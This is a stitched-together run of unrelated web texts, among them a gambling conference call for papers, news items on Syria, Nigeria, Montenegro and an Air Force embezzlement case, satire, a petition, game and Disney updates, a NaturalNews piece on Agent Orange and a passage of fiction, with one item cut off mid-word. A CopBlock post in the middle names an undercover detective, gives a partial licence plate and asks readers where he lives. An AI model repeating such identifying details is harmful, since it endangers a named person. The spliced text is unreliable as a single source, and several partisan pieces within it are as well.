Econometric modeling of gaming industries
Gambling in different cultures
Psychology of gambling and risk taking
Gambling and sports Business, regulatory, fiscal and social aspects of: Casinos and casino-related gaming
State lotteries and lottery products
Racinos, Riverboat Casinos, and Integrated Resort Casinos
Racing and Bookmaking
Bingo and Charitable Gambling
Indian Gaming in the U.S. and Canada
Internet and social media gambling
Internet Sweepstakes Cafés
Fantasy sports and related near-gambling products
Electronic Gaming Devices
Intersections of gaming and hospitality View programs for the 11th to 14th Conferences here. The objective of the Conference is to stimulate research and facilitate discussion and understanding about gambling and commercial gaming throughout the world. Over the past five decades society has witnessed many forms of gambling that have become increasingly legalized and legitimized. Commercial gaming has played an increasing role in communities, among entertainment options, and within the public policy discourse. In the past generation, many individual forms of commercial gaming have evolved, reached maturity, and struggled to reinvent themselves in response to competitive pressures and changing consumer preferences and technological capabilities. Today, policy makers continue to seek answers to difficult questions that gambling—as a business, as an activity, as a vice, and as a public policy tool—presents to society. The International Conferences date back to 1974, and are recognized as the premier venue that brings together academic, research and policy experts from all over the world, representing a diverse array of disciplines and points of view, to examine and analyze gambling from many perspectives. Leaders and representatives from commercial gaming industries, academia, research organizations, regulatory agencies, and the helping services—as well as gamblers and the general public—will gather in Las Vegas to present and evaluate research, discuss new trends and technologies, and explore the changes and challenges created by the increased presence and economic importance of commercial gaming industries throughout the world. Submission Instructions: Individuals or organizations wishing to submit a paper should send the following information via email to: 15thconferenceabstracts@gmail.com For paper submissions, the following information is requested. Submissions for papers will be evaluated until January 31, 2013. Please, no more than two submissions per author or group of authors: Title of paper, along with primary author and title
An abstract of the paper not to exceed 250 words
Author and co-authors’ names, addresses, affiliations, phone numbers and e-mail addresses
A brief bibliography of related work For symposium session submissions, the following information is requested. Submissions for symposium sessions will be evaluated until January 31, 2013: Proposed title of symposium, along with primary session organizer and tentative list of participants ·
An abstract of the symposium session not to exceed 500 words ·
Session organizer’s and session participants’ names, addresses, affiliations, phone numbers, and e-mail addresses The information requested for submission should be complete to receive consideration. Submission proposals will be accepted until January 31, 2013. Early submissions are encouraged. If you have questions regarding a proposal or for more information on the Conference, please contact: Ms. Cheryl Olson Director, Management and Executive Education
International Gaming Institute University of Nevada Las Vegas/6027
Las Vegas, Nevada 89154-6037
Email: cheryl.olson@unlv.edu
PH: 702-895-3248
FAX: 702-895-1135 Paper Presenters and Symposium Participants accepted on the program, along with all Conference delegates, will be subject to a registration fee. Paper sessions are 90 minutes long with (typically) three papers per session, with moderator and discussant. Authors (with their co-authors) should plan on twenty-minute presentations per paper, allocating about five minutes for questions and answers. Download the Call for Papers in pdf format For more information on the conference, see the websites at: www.unr.edu/gaming and www.igi.unlv.eduIran’s Press TV claimed its Damascus correspondent was killed Wednesday by a rebel sniper while reporting on bombings in the Syrian capital. Two car bombs struck the Syrian Army’s command headquarters, setting one of the buildings on fire.
Maya Nasser, a 33 -year-old Syrian national, was killed while reporting from the scene, Press TV said. Hussein Murtada – Press TV’s Damascus bureau chief and head of the Arabic-language Al-Alam TV network – was also reportedly injured in the attack.
In recent months, Nasser reported from the frontlines of the Syrian conflict. His video reports from war-torn Aleppo were a valuable source of on-the-ground information.
“Maya Nasser was a true professional, and his help to me was priceless while I was reporting from Syria,” RT’s Oksana Boyko said, recalling how Nasser gave her advance warning of which conflict zones were particularly dangerous.
Nasser maintained excellent relations with foreign journalists working in Syria, and was often cited by colleagues as the only source of reliable information on the conflict.
“In private he always stressed that it is the hardship of war that had fallen on the Syrian people is what disturbed him the most,” Boyko said. “Maya always stressed that ordinary people are those who suffer the most in the conflict.”
Nasser never hid his identity, and frequently debated political opponents on his Twitter account. Though he was threatened on the Web more than once, he was remembered as always being fearless about his work.
Journalists in Syria killed in spate of rebel violence
Syrian rebels have targeted or kidnapped increasing numbers of foreign journalists in recent months as a way of striking the regime of President Bashar al-Assad.
French journalist Gilles Jacquier was killed in January by 81mm mortar fire from a rebel-held area.
On June 27, seven journalists and four security guards were killed in a rebel attack on the pro-government Al-Ikhbaria TV station in the town of Drousha, south of Damascus. One building in the complex was nearly demolished.
Syrian state TV host Mohammed al-Saeed was kidnapped and executed on July 19; a militant Islamist group claimed responsibility for the killing.
Two more Syrian journalists were kidnapped on August 4: Talal Jinbakly, a camera operator for Syrian state TV, and Mohammad Ali Hussein, who worked for an educational channel in Syria. That same day, Syrian rebels attempted to seize a state-run radio and TV broadcasting complex in Aleppo, and reportedly raised a rebel flag on top of the building.
Three TV journalists and their driver were kidnapped while reporting from a Damascus suburb on August 10.
On August 11, the head of Syrian news agency SANA was killed in Damascus.
In a mid-August statement, the Russian Foreign Ministry condemned the “terrorist attacks against journalists” who “ensure the democratic rights of people to receive objective information, freedom of speech and opinion.”
Screenshot from PRESSTV Screenshot from PRESSTV
CUPERTINO (The Borowitz Report)—Apple C.E.O. Tim Cook apologized for the ongoing problems with its Apple Maps app today, recommending that until it is fixed customers “should try not to go anywhere.”
“Until we get this straightened out, I strongly urge you to stay at home,” Mr. Cook advised iPhone users. “That’s your best bet for not getting lost.”
Even as he apologized, Mr. Cook downplayed the number of Apple customers affected by the Maps glitch: “This only impacts Apple customers who have someplace to go. From what we can tell, most of our customers just go back and forth to the Apple Store and that’s pretty much it.”
The Apple C.E.O. also advised customers whose iPhones consistently drop calls to “try using a land line.”
_
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Image via The Amazing iOS 6 Apps.Stop the Senseless Slaughter of Australian Camels
by: Care2.com
recipient: Australian Parliamentary Secretary for Climate Change Mark Dreyfus
Australia has the largest population of undiseased dromedary camels anywhere in the world. Now, the Australian government is proposing to slaughter the majority of them in the name of carbon control.
The camels produce an estimated one metric ton a year of greenhouse gasses, which is nothing compared to the emissions from Australia's largely coal-powered industries. Just last year, Australia was responsible for 564 million metric tons of carbon emissions. Eradicating all the camels in the Outback wouldn't even tip the scale.
The mass funding allocated towards camel extermination would be better spent sustainably reforming Australia's carbon-emitting industries.
Ultimately, the mass camel cull would be nothing more than an expensive distraction from real change. Tell the Australian Parliamentary Secretary for Climate Change, Mark Dreyfus, that killing camels is no way to take true action.
read petition letter ▾
I am writing to voice my disapproval with your proposed plan to kill camels in order to reduce Australia's carbon footprint.
[Your comments here]
Individual camels are only responsible for an estimated metric ton of carbon emissions per year--a small number when compared to the 564 million tons of greenhouse gases Australia produces annually. I feel that the ample funding allocated towards camel slaughter would be better spent sustainably reforming Australia's carbon-emitting industries.
I urge you to reconsider your proposed camel slaughter.
Sincerely,
[Your name] Dear Mark Dreyfus,I am writing to voice my disapproval with your proposed plan to kill camels in order to reduce Australia's carbon footprint.[Your comments here]Individual camels are only responsible for an estimated metric ton of carbon emissions per year--a small number when compared to the 564 million tons of greenhouse gases Australia produces annually. I feel that the ample funding allocated towards camel slaughter would be better spent sustainably reforming Australia's carbon-emitting industries.I urge you to reconsider your proposed camel slaughter.Sincerely,[Your name]The National Task Force on Illegal Importation of Small Arms, Ammunition and Light Weapons has urged the Federal Government to curb the proliferation of arms.
This followed attacks in Ogun State and other parts of the country by suspected militants.
It said the first step towards tackling insecurity was to enforce an effective mopping up of illegally imported arms, ammunition and light weapons.
The Southwest Coordinator of the organisation, Col. Anthony Awote (rtd), who spoke yesterday in Abeokuta, the Ogun State capital, at the inauguration of the state command of the task force, noted that the Federal Government’s efforts to rid the country of terrorism, militancy, pipeline vandalism and other crimes would only yield dividends if illegal arms could be stopped from getting into the hands of Nigerians.
He said the task force, which began operations about nine years ago, was conceived by the Importers Association of Nigeria. According to him, it assisted the government to intercept illegal arms.
Awote enjoined the Federal Government to give the task force an official backing, in order to enhance its operations and curtail the activities of the people, who import illegal weapons.
He advised the National Assembly to expedite action on the passage of a bill on the establishment of the National Task Force to Combat Illegal Importation of Arms, Ammunition, Light Weapons and Pipeline Vandalism.
Awote said: “If given the legal backing, NATFORCE is capable of providing employment for over 4,000 people in Ogun State alone.
“The task force is not out to usurp the duties and responsibilities of existing security agencies. Rather, ours is to complement their efforts.
“The task force started as a private-public initiative and was inaugurated by the former Minister of Trade and Investment, Olusegun Aganga. It is at present being supervised by the Office of the National Security Adviser under the Ministry of Interior for ministerial over function.
“The task force, since inauguration, has intercepted a trailer load of arms and ammunition at the Onitsha head bridge. It also discovered an island of cache of firearms, while last year, the Ogun State command intercepted a luxury bus loaded with arms and ammunition as well as a lorry load of expired Maggi seasoning.”Jack Layton Progress Prize
The late Jack Layton served as leader of the New Democratic Party of Canada from 2003 to 2011, when he became the Leader of the Official Opposition.
During his long career in public service, Layton was fond of a great campaign. Whether working with local environmentalists to erect a windmill on the Lake Ontario shore, co-founding the White Ribbon campaign for gender justice, shining a light on the scourge of homelessness, or running in multiple political campaigns at the municipal and federal levels, Layton loved nothing more than the creation of empowering efforts to rally people around a common cause.
In his honour, and in partnership with Olivia Chow, the Jack Layton Progress Prize is awarded annually to an individual or organization who has run a particularly noteworthy political or issue campaign reflecting the ideals exemplified by Layton, including justice, sustainability and democracy.
Qualifications:
Commitment to progressive/social democratic values and movement
Primary responsibility for executing the campaign in question over the previous year or exemplary movement building gaining significant momentum in the previous year
Vision, engagement, imagination, and effectiveness as an individual or organizational leader, including representing and/or engaging the diversity of Canada
2017 winner: Cindy Blackstock
2016 winner: Jill Piebiak (Canadian Menstruators)
2015 winner: February 14th Women's Memorial March CommitteeA former staff sergeant at Little Rock Air Force Base in Jacksonville admitted Wednesday in federal court that he stole $360,951.94 in government funds to buy items that he then sold at a pawn shop for personal profit.
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U.S. District Judge Leon Holmes accepted a plea to an embezzlement charge from Gabriel McCormick of Cabot, who admitted using a government purchase card to buy items between May 2011 and June 2015 from Alphapointe, an on-base vendor that sells only to authorized cardholders.
McCormick, who was attached to the 19th Aircraft Maintenance Squadron, was authorized to use the card to purchase up to $30,000 a month for items such as aircraft sealant and lubricants, according to his plea agreement. But the items he bought were supposed to be on a list of approved items used only by the squadron.
To buy unapproved items such as flashlights, multitools, high-end batteries and other personal tools, McCormick would send an email to his supervisor listing his planned purchases of approved items, and then would purchase a number of unauthorized items equaling the total on the approved list, the document states.
Two or three times a month, he would sell the unauthorized items he purchased to a local pawn shop, allaying the pawn-shop employees' suspicions by saying he had a relative who worked for the manufacturer, which allowed him to buy the items at a discount, it says.
The plea agreement specifically lists flashlights and notes that McCormick obtained other items by trading flashlights for them.
"A 2015 Air Force audit revealed that between May 2011 and May 2015, the defendant used his [government purchase card] to purchase over 4,988 items," according to the agreement signed by McCormick and his attorney, John Wesley Hall Jr. of Little Rock. It adds, "These items cost the government $360,951.94, and [McCormick] admits to causing this loss to the government by purchasing and then selling these items for his own personal gain."
McCormick also admitted in the plea agreement that he provided false documents to Air Force auditors to try to cover up his actions. The agreement says he used "image editing software to create false Alphapointe receipts that matched the items and amounts that he had been authorized to purchase."
When he is sentenced at a later date, McCormick will be required to make full restitution to the U.S. Air Force. He also faces a prison term of up to 10 years, a fine of up to $250,000, and up to three years' probation.
Federal sentencing guidelines will recommend a penalty range within the statutory framework, based on the individual circumstances and McCormick's history. He also faces a two-point sentencing enhancement for abusing a position of trust.
Metro on 05/10/2017Get the latest news and videos for this game daily, no spam, no fuss.
Over two million users signed up for free-to-play shooter Loadout in its first 14 days of release, logging in over 9 million hours in the game, developer Edge of Reality has announced.
The developer said that Loadout has been so popular that it made getting into the game difficult on day one. Edge of Reality has since improved its infrastructure, but is still having trouble meeting demand.
Loadout’s most notable feature is its weapon-crafting system, with over “44 billion possible variations” for players to assemble, allowing them to define their own class and play style.
“The incredible surge of interest at launch shattered all our expectations, and it unfortunately just became too much for our servers to handle in the beginning,” Edge of Reality CEO Rob Cohen said in a press release. “Very few Steam titles have reached the peak concurrent users we achieved upon release. We’re committed to delivering an excellent game to our community, and we continue to work hard to ensure that our servers provide all our players with the same fluid, responsive, and enjoyable experience across the board.”
Our review found that Loadout stands out against other shooters with its humor, entertaining multiplayer modes, and addictive weapon-crafting system.This article is over 5 years old
Police in Podgorica fire teargas to repel anti-gay extremists who threw stones and firebombs in attempt to disrupt march
Police in Montenegro fired teargas to repel anti-gay extremists who threw stones and firebombs at officers protecting a gay pride march on Sunday.
As many as 60 people were injured in the clashes.
The violence occurred when the attackers tried to break through police lines to reach those taking part in the march in Podgorica. After the march, the gay rights demonstrators were evacuated to a safe location in police vehicles.
Police said about 20 of the injured during the clashes were officers, and the remaining 40 were from "hooligan groups".
About 60 of the estimated 1,500 extremists who took part in the riots were arrested, police said.
The organiser of the gay pride march, Danijel Kalezic, said the police protection allowed about 150 activists to walk peacefully through the city.
"As of today, gay people are no longer invisible in Montenegro," Kalezic said. "From today, these streets are ours as well."
Such marches are seen as a test of Montenegro's commitment to human rights as it seeks to join the EU. Opponents attacked a similar march in July in the coastal town of Budva.Information has come out about Walt Disney World’s 2017 Quick Service, Regular, and Deluxe Dining Plans.
There are a few changes in what is offered compared to 2016’s plans. For example, a Quick Service meal in 2016 is made up of 1 entrée, 1 non-alcoholic drink, and 1 dessert. The dessert is taken out for the 2017 plan. Instead, an extra snack credit has been added to the Quick Service Dining Plan:
2017 Quick Service Dining Plan
2 Quick Service Meals (entrée and non-alcoholic drink)
2 Snacks
1 Resort Refillable Mug per person
The 2017 Disney Dining Plan includes:
1 Quick Service Meal (entrée and non-alcoholic drink)
1 Table Service Meal (entrée, dessert, and non-alcoholic drink or full buffet meal)
2 Snacks
1 Resort Refillable Mug per person
The 2016 plans only include 1 snack per day.
The 2017 Deluxe Disney Dining Plan includes:
3 Meals (any combination of Quick Service or Table Service (Table Service on the Deluxe Plan includes appetizer, entrée, dessert, and non-alcoholic beverage))
2 Snacks
1 Resort Refillable Mug per person
All plans are per person, per night. 2017 Walt Disney World packages are available for booking Tuesday, June 21. Contact Dreams Unlimited Travel for a no-obligation quote.
News source: Kenny the PirateThanks first to Bob “Weeda Claus” Constantine for having the courage to take his cannabis growing case to trial. Bob’s courage made what happened today possible. Because Bob took his case to trial, the state had to call its undercover agents to the stand and despite their desperate efforts to keep them away from cameras, they were still all seen personally by those of us in the courtroom. The first to testify against Bob was NH Drug Task Force detective Charles I. Newton, the most undercover-looking of them all. He looks like a pretty cool guy and if only he weren’t engaging in deception for the purposes of caging peaceful people, maybe he would be. We were unable to get a decent picture of him on the day of Bob’s trial. However, here’s what happened today:
We were going to breakfast in Newport after attending a fellow activist’s speeding ticket trial, when I noticed two cars parked drivers’ side-window-to-window in the parking lot of the Country Kitchen restaurant. The driver of the black late model Nissan Altima (we think it’s plate number 297 7758 – the 297 is for sure, not sure about the last four) looked a lot like Charles I. Newton, so I asked Ademo from Liberty on Tour if he thought that was him. He confirmed it and shouted out Charles’ name. Then Charles high-tailed it (complete with screeching tires) out of the parking lot. We consulted the young man in the red car and informed him that he’d been talking to an undercover cop. At least in this instance, we saved the man from going to prison. Newton had already given the young man cash in order to allegedly purchase narcotics, so the deal was almost done when we managed to intervene.
Now, if I’m recalling correctly, Newton testified during Bob’s trial that he lives in Cheshire county. Undercover officers tend to live in one place and work in others so there is a lower chance of them being recognized by locals. Thus far, we know that Newton works in Grafton and Sullivan counties, and maybe elsewhere. If it’s true that Newton lives in Cheshire county, that means there’s a chance you know him. Perhaps you grew up with him? Please post your comments below or send a private message via the Forum or via email copblock at gmail.com
I should have started recording sooner, zoomed the camera, and done better to focus on Newton’s exit, but hindsight is always 20-20. At least we were able to intervene, expose this deception artist, and save a young man from being caged. Special thanks to Pete, Ademo, and Beau from Liberty on Tour for springing into action! Don’t expect him to continue driving the same undercover vehicle, but here’s the brief video from today, for what it’s worth:
Also, here’s a court case where Newton plays a major role in a drug bust, just to give you confirmation of who he is and how he operates. Newton’s middle initial was found in a Ke |
if you wish, but please give me the giant clam that caused the death of your companion. I would like to keep it here on my porch to remind me of my pearl fishing days."
At this point in his tale, Capitan Popong fell silent for a moment, then continued:
“About two hours ago as they returned here in their canoes, they saw the light of a strange lamp in the center of the village. Bogtong motioned for silence. He thought it might be that the tax collectors had come on their annual rounds. Leaving his men with their conch-filled canoes hidden in the shadows along the shore, he crept close to the strange tent. Then he gave a sigh of relief, for he recognized your features, my friend. He was one of the men who helped you pull your motor launch free from the sand bar when you were stuck on the Iwahig River two years ago.
Dyak dirge
“Bogtong ran back for his men, sent one of them for me, and I joined the boys at their task. Five of them gently lifted the dead Etem in their arms, and with Bogtong holding a torch and leading the way, they laid the body in Bogtong’s shack. Then my son, after telling me the story of their sad trip, picked up the old buffalo horn and blew on it the long-drawn-out death call of our tribe.”
Startled out of their sleep, the cabins had come to life one by one. Frightened, anguished faces filled the door of the hut where the body lay. At the sight of the drowned boy, the whole tribe broke out into the mournful prayer and wailing for the drowned.
“This, my friend, is the bedlam that awakened you. We will keep praying until sunrise, and then again until sunset, and yet again—for three nights. Because if we do not, the devils of the sea will keep Etem’s soul forever.”
Saddened by the tale, I watched them bury Etem the next morning under the shade of a coconut tree. His grave was fenced in with strong bamboo stakes to keep the wild boar and other scavengers from disturbing it. After harvesting the rice here in the lowlands, the tribe would come back for the remains of Etem, which would then be carried back to their mountain home and there buried properly.
I was very anxious to see the giant clam that had killed a man, so after the three nights of praying and wailing I asked Bogtong to guide me to Panglima Pisi’s home at Boligay. And that afternoon, after leaving Capitan Popong in charge of my party, Bogtong and I set out for Boligay.Story highlights Fox and Trump have engaged in an ongoing feud for months
In February, Fox made headlines when he said that he is "not going to pay for that f***ing wall"
Washington (CNN) Former Mexican President Vicente Fox isn't letting go of his ongoing feud with Donald Trump.
The man who memorably blasted Trump's plan to build a wall alongside the U.S.-Mexico border tweeted an image Friday of a Trump tie -- including a shot of the tie's tag that says "Handmade in China" -- with the caption, "Hey @realDonaldTrump, bringing jobs back to US - does that include your ties & shirts? #MadeInChina."
Hey @realDonaldTrump, bringing jobs back to US - does that include your ties & shirts? #MadeInChina pic.twitter.com/e5SkBJC42b — Vicente Fox Quesada (@VicenteFoxQue) May 6, 2016
Fox was referring to Trump's oft-repeated pledge to negotiate better trade deals and bring jobs back from China.
The tweet echoed his sentiments a day earlier. In an interview with CNN's John Vause on Thursday, Fox criticized Trump's anti-immigration rhetoric while he was selling products made in China.
"He's cheating the American people," Fox said. "It's lie after lie after lie."Tankers!
The North America region has grown quite a lot over the past year and the Clan Wars community is no exception. We've seen two Clan Wars Campaigns and the recent World on Fire event generate a significant growth in interest in Clan Wars, and the time has come to accommodate more Clans on our Clan Wars Global map.
In addition, we've also added official language support for Brazilian Portuguese and Argentinian Spanish, which has resulted in a sizable growth in these communities. We will also be adjusting the Prime Times available in our region in order to better facilitate this growth.
New Provinces
We will be adding 50 new provinces to the North America region, covering Mexico, the Caribbean, and Central America. You can see the complete list of provinces that are being added below.
Landing Province Changes Click below to see full details Collapse When adding Central America, we will have two Landing Provinces on the US-Mexico border that become redundant, so they will be made into Standard Provinces. These provinces are: Former Landing Province Income Battle Map Coronado National Forest 480 Abbey Pecos, Texas 360 Steppes In order to improve the accessibility of the Gulf Coast and the area around Arkansas/Missouri (and also to compensate for the loss of the two aforementioned Landing Provinces, the following province has been made into a Landing Province. New Landing Province Income Battle Map New Orleans, Louisiana 600 Redshire This province has also had its income reduced to make it more similar to other Landing Provinces, and the value will be applied towards other provinces (see the "Adjusted Incomes" section for details). Collapse Expand
Defining a Better "Training Area"
An additional change that is being introduced at this time will be a re-adjustment of province incomes in the Arctic Circle. This lower-income area will be less attractive to the more experienced clans due to the better opportunities offered elsewhere on the map, and will allow newer and less-experienced clans a better opportunity to face other clans that are roughly at the same competitive level.
New Prime Times
There will be two new Prime Times added to our Clan Wars map with this update, both of which will be earlier than the current set that is in use. This will allow our players on the East Coast, who prefer to play earlier in the day, and our growing South American population to play Clan Wars at times that are more favorable.
Re-Balancing the Existing Time Zones
We have also taken this opportunity to balance the prime times across the Clan Wars map according to several factors, such as the total number of provinces, Gold value, high value targets, and landing provinces.
These changes will be made along with the 9.1 update to World of Tanks. There will be a short downtime associated with the launch, followed by a small launch event with several missions for clans to complete on the Global Map itself.
More specific details about the missions for this event will be available in a separate article to be published next week.Halfway through, they should have stopped the fight.
Gov. Mitt Romney eviscerated a staggering and bewildered President Barack Obama tonight in one of the most lopsided presidential debates in American history. Throughout the debate, which focused on domestic policy, Obama looked shaken, rarely looking at the camera, reciting old talking points and filibustering as Romney gave a master class at the University of Denver.
The debate had been described as a must-win for Romney–and he delivered. Using a rapid-fire style that had not been seen even in the numerous Republican primary debates, he bobbed and weaved through Obama’s attacks and moderator Jim Lehrer’s interjections, launching bullet-point policies that displayed not just a familiarity with the wonkish details but a focus on the travails of ordinary people he had met on the trail.
Again and again, Romney returned to his theme: creating jobs. He did–as expected–take Obama to task for misrepresenting his policies, principally Romney’s tax policy, which Obama referred to, even after being corrected, as a $5 trillion tax cut. But Romney exceeded expectations in focusing on the end result he wished to attain–and which, he said, the president wished to sacrifice: creating jobs for a struggling American workforce.
Obama could not have pleased anyone except those playing drinking games at home, with familiar references to corporate jets (drink!), job training programs (drink!), and tax cuts for shipping jobs overseas (drink!). And for these tired suggestions, most of which appeared in Obama’s talking points in 2008, Romney reminded the president that he had four years in which to enact his policies, to which the president could only nod.
Romney came armed with some memorable one-liners. He called Obama’s economic policy “trickle-down government.” He called the decline in household incomes under the Obama administration the “economy tax.” And–most memorably–he attacked Obama’s green energy subsidies, including Solyndra, Fisker, Tesla, and other failures: “You don’t just pick the winners and losers. You pick the losers.” Obama had nothing in response.
Obama refused–as he has done throughout the campaign–to adopt the stance of the incumbent, and tried to fight as the insurgent challenger, as if his own record were not up for debate. But Romney refused to let him escape–and soon Obama began making several blunders, stating at one point that he had conversations with Americans about their health care “four years ago”–i.e. not since he has taken office. He even turned his frustration upon moderator Jim Lehrer at one point, accusing him of interrupting him.
Lehrer, for his part, was quicker to pounce on Romney with follow-up questions, giving Obama a wider berth. Yet Romney did not let Lehrer divert him from his message or cut off his defenses. He even teased the moderator with his proposal to cut funding from PBS, among other government programs. It was a fearless and clarifying performance.
On health care–which might have been Romney’s weakest issue–Romney argued for the repeal of Obamacare as the best Tea Partier might have done, attacking the board that the law sets up to ration care as a cost control mechanism. The best that Obama could do was remind voters–as if they did not already know–that Romney had passed a health insurance law in Massachusetts. He had to concede one of the best arguments Romney offered–that Obamacare has actually increased the cost of insurance so far.
Romney missed a few–very few–opportunities, taking a long time to defend his tax policy by pointing out that it would be revenue-neutral because it would encourage economic growth. And Obama did put a few points on the board, reminding viewers (twice) of his popular Race to the Top education program, and that he had amassed experience as commander-in-chief with which Romney cannot (yet) compete.
Yet Obama seemed uneasy simply to have a worthy opponent on the other side of the stage. He could not even articulate his oft-repeated philosophy of government in the most basic terms, borrowing from the likes of Barney Frank in describing government as “the things we do together.” Romney gave a straight answer: that the role of government is simply to defend the principles of the Constitution and the founding documents, without replacing the roles of individuals and communities in helping the less fortunate.
Even conservatives who predicted that Romney would do well could not have imagined that he would do this well. It was as complete a victory as any presidential challenger has ever scored–and it exceeded even the hopes of Romney’s most fervent supporters. Obama came across as a politician–a rattled one, grinning and frowning, searching for a way out. Romney came across as a problem-solver, and–amazingly–more in touch with the American people.
There are two more presidential debates, following next Thursday’s debate between the vice presidential candidates. And so Obama will have a chance to redeem himself. But it will be back to the drawing board for Team Obama, while Team Romney will build upon a win they have anticipated for many months and may enjoy for many months hence.Once the contract is awarded the developer will be expected to build the multimodal transit hub component of the project first.
After that, it's expected the rest of the site will be developed in phases.
"It's hard to imagine anybody coming in and developing it all at once," Galloway said. "It would be great but highly unlikely because they really do have to look at absorption."
Exactly what the winning combination of commercial, residential and other uses on the site will be is yet to be determined.
Three preliminary design concepts presented to the public in May 2016 showed what a hub could look like if it was developed at low density, medium density and high density.
A steering committee of regional politicians recommended that this model was the best way to get the project done, saying the use of one developer ensures a high degree of integration between the transit infrastructure and private, mixed-use development.
The Metrolinx transportation planning agency will also be involved in the project.
The region will be responsible for on-site infrastructure, including a transit hall with 100 parking spaces, public square and transit plaza, Victoria Street bus loop and bus bays, and passenger pickup and drop-off areas.
Metrolinx will be responsible for offsite infrastructure in the rail corridor, including a GO/VIA Rail platform and canopy, Waterloo Street pedestrian access, a multi-use trail connection over King Street and south access.
The plan is that the region will pay for the transit and other infrastructure it requires to be built, possibly by the developer. In June, the province announced it would contribute up to $43 million toward the capital cost of the hub, which was the region's estimate of the cost for transit infrastructure.
The benefit for the partnering developer is that it gets to build what is expected to be a mix of residential and commercial uses on the site, subject to strict guidelines imposed by the region.
The hub won't be built by the time light rail trains start running in 2018, but that isn't expected to be an issue. There will be an LRT stop as planned at King and Victoria streets.
Many details about the hub project are unclear.
A market sounding report completed for the region by consultant Cushman & Wakefield in 2013 was released to The Record with extensive redactions.
Blocked information included a land value analysis for the hub property, values for each potential type of development on the site, potential new tax assessment, names of developers consulted as part of the study and financial information related to two proposed development concepts.
pdesmond@therecord.com, Twitter: @DesmondRecordGet the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
An eight-year-old wrestling fan injured in the Manchester Arena bomb attack had a proper surprise when several of her WWE heroes dropped by.
Lily Harrison was at the Ariana Grande concert with her parents on May 22 and was caught up in the incident. She's spent the past fortnight in hospital.
Lily was discharged from hospital and allowed to return home on Monday, but her mum, Lauren Thorpe, is still being treated for her injuries.
WWE NXT Champion Bobby Roode, alongside fellow superstars Nikki Cross and Mark Andrews, made a surprise visit to see Lily at her home on Tuesday morning, bringing with them a sack full of WWE gifts for her and her family, including an NXT title signed by the roster.
Lily was also able to Facetime her favourite wrestler Sasha Banks during the visit from the WWE superstars, with Sasha promising to see Lily in person when she’s in Manchester this November.
WWE were set to hold an event at the Manchester Arena tonight but had to cancel it following the bomb attack. They decided to come to Manchester anyway to offer support in any way they could.
Several WWE wrestlers visited the British Red Cross store in Eccles to donate signed merchandise to the ‘We Love Manchester’ emergency fund.
Ariana Grande also visited the Royal Manchester Children's Hospital to meet some of the children injured in the bombing.
The US singer was photographed with dozens of patients at the hospital, including Lily.Bon Bon is, of course, the Confectioner. I had to do an awful lot of research for this one, but it was time well spend. The history of Victorian confectionery is really fascinating! The people were of course obsessed with giant fancy decorated cakes and sweets. That was also the time some candy was actually invented. But what I liked the most was what was used as a food coloring. For example gold, for yellow. And arsenic for blue. So, yeah, don't underestimate these pretty candy balls in her hair. They're reaaaallly deadly.
Oh, and for those who are curious. The piece of candy in her mouth is an 19th century lollipop. They were made of chocolate rather than hard candy back then.
And here's the list...
Other Steampunk Ponies:
The Inventor - Twilight Sparkle [link]
The Timid - Fluttershy [link]
The Lady - Rarity [link]
The Mechanic - Applejack [link]
The Pilot - Rainbow Dash [link]
The Random - Pinkie Pie [link]
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The Princesses - Celestia and Nightmare Moon [link]
The Dentist - Colgate [link]
The Flyers - Spitfire and Soarin' [link]
The Smuggler - Carrot Top [link]
The Messenger - Derpy Hooves [link]
The Dreamer - Lyra [link]
The Professor - Cheerilee [link]
The Virtuoso - Octavia [link]
The Evil Queen - Chrysalis [link]
The DJ - Vinyl Scratch [link]
The Soldier - Big Macintosh [link]
The Illusionist - Trixie [link]
The Perfumer - Roseluck [link]
The Herbalist - Zecora [link]
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Wallpaper here - sta.sh/019op6eou7okOne in six federal disability checks covers Agent Orange-related health damage among veterans
(NaturalNews) Thousands of military veterans will soon divvy up a ten-year installment of about $47.5 million in disability benefits recently awarded by the federal government as compensation for harm caused by exposure to Monsanto's Agent Orange herbicide.As many as 2,100 Air Force reservists and active-duty forces who sprayed the toxic herbicide during the Vietnam War will have access to the benefits, which are meant to cover health damage caused by exposure to Agent Orange residue on Fairchild C-123 aircraft flown over Southeast Asia between 1969 and 1986.The award is long overdue, especially as the federal government has insisted for many years that residues of Agent Orange couldn't possibly be responsible for the various cancers, diabetes and leukemia suffered by thousands of former military men and women who handled the chemical at the bidding of the U.S. government.Since June 19, eligible servicemen have been able to file for Agent Orange-related disability benefits, including survivor benefits and ongoing medical care. Any veteran who can prove that he or she worked on a contaminated plane and developed one or more of 14 qualifying medical conditions as a result, including prostate cancer, diabetes, and leukemia, is eligible for payment."Opening up eligibility for this deserving group of Air Force veterans and reservists is the right thing to do," announced Bob McDonald, Secretary of the Department of Veterans Affairs (VA), in a recent statement.Although they are reluctant to admit that Agent Orange was in any way responsible for harming American military servicemen during the Vietnam War, the federal government has been quietly paying out benefits to thousands of them for years. The White House Office of Management and Budget, which approved the new disability benefits, admits that one in six disability checks issued by the VA is for Agent Orange-related health damage.This is striking in light of the fact that this same federal government, through its Environmental Protection Agency (EPA) arm, recently approved Dow Chemical's "Enlist Duo" herbicide, which contains an Agent Orange component known as 2,4-D. The International Agency for Research on Cancer (IARC), a division of the World Health Organization (WHO), recently announced that 2,4-D is a "possible human carcinogen," along with Monsanto's glyphosate (Roundup) herbicide.With 2,4-D's approval, millions of acres of American farmland will now presumably be carpet-bombed with the same chemical defoliant ingredient used as a weapon of mass destruction during the Vietnam War. However, for today's American consumers, there likely won't be any federal compensation for damages caused by exposure to this noxious poison."2,4-D, produced by Dow Chemical, was a component of 'Agent Orange,' the toxic defoliant used in Vietnam," warns the Center for Food Safety (CFS). "It is the 7th largest source of dioxins in the U.S. 2,4-D and other herbicides of its class have been independently associated with deadly immune system cancers, Parkinson's disease, endocrine disruption, and reproductive problems, with children at particular risk."The Natural Resources Defense Council (NRDC) has filed a lawsuit against the EPA for failing to respond to a petition to ban 2,4-D, which was rushed to the market by the U.S. Department of Agriculture (USDA) with no consideration for how it might affect the environment and humans, particularly young children."Over the past 40 years, dozens of studies have shown the connection between 2,4-D and non-Hodgkin's lymphoma (cancers of the blood) and soft-tissue sarcoma in people," warns NRDC. "Other research reveals that 2,4-D enters breast milk and semen where it disrupts normal hormone functions, which can also cause serious and lasting effects during fetal and infant development."GENEVA, June 5 (Reuters) - Venezuela’s judiciary is persecuting students, dissidents and independent judges while turning a blind eye to most crimes in a country with one of the world’s highest murder rates, an international human rights watchdog said on Thursday.
